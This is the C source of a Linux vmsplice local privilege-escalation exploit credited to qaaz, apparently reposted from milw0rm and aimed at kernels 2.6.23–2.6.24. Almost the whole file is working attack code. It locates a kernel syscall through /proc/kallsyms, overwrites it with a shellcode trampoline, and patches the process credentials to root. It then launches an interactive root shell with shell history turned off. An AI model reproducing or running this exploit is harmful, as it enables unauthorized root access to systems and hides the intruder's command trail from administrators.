gistfile1.txt

/*
 * diane_lane_fucked_hard.c
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.23 - 2.6.24
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>
 
#define TARGET_PATTERN      " sys_vm86old"
#define TARGET_SYSCALL      113
 
#ifndef __NR_vmsplice
#define __NR_vmsplice       316
#endif
 
#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#define gimmeroot()     syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)
 
#define TRAMP_CODE      (void *) trampoline 
#define TRAMP_SIZE      ( sizeof(trampoline) - 1 )
 
unsigned char trampoline[] =
"\x8b\x5c\x24\x04"      /* mov    0x4(%esp),%ebx    */
"\x8b\x4c\x24\x08"      /* mov    0x8(%esp),%ecx    */
"\x81\xfb\x69\x7a\x00\x00"  /* cmp    $31337,%ebx       */
"\x75\x02"          /* jne    +2            */
"\xff\xd1"          /* call   *%ecx         */
"\xb8\xea\xff\xff\xff"      /* mov    $-EINVAL,%eax     */
"\xc3"              /* ret              */
;
 
void    die(char *msg, int err)
{
    printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
    fflush(stdout);
    fflush(stderr);
    exit(1);
}
 
long    get_target()
{
    FILE    *f;
    long    addr = 0;
    char    line[128];
 
    f = fopen("/proc/kallsyms", "r");
    if (!f) die("/proc/kallsyms", errno);
 
    while (fgets(line, sizeof(line), f)) {
        if (strstr(line, TARGET_PATTERN)) {
            addr = strtoul(line, NULL, 16);
            break;
        }
    }
 
    fclose(f);
    return addr;
}
 
static inline __attribute__((always_inline))
void *  get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}
 
static uint uid, gid;
 
void    kernel_code()
{
    int i;
    uint    *p = get_current();
 
    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }   
}
 
int main(int argc, char *argv[])
{
    int     pi[2];
    long        addr;
    struct iovec    iov;
 
    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);
 
    printf("-----------------------------------\n");
    printf(" Linux vmsplice Local Root Exploit\n");
    printf(" By qaaz\n");
    printf("-----------------------------------\n");
 
    if (!uid || !gid)
        die("!@#$", 0);
 
    addr = get_target();
    printf("[+] addr: 0x%lx\n", addr);
 
    if (pipe(pi) < 0)
        die("pipe", errno);
 
    iov.iov_base = (void *) addr;
    iov.iov_len  = TRAMP_SIZE;
 
    write(pi[1], TRAMP_CODE, TRAMP_SIZE);
    _vmsplice(pi[0], &iov, 1, 0);
 
    gimmeroot();
 
    if (getuid() != 0)
        die("wtf", 0);
 
    printf("[+] root\n");
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "bash", "-i", NULL);
    die("/bin/bash", errno);
    return 0;
}
 
// milw0rm.com [2008-02-09]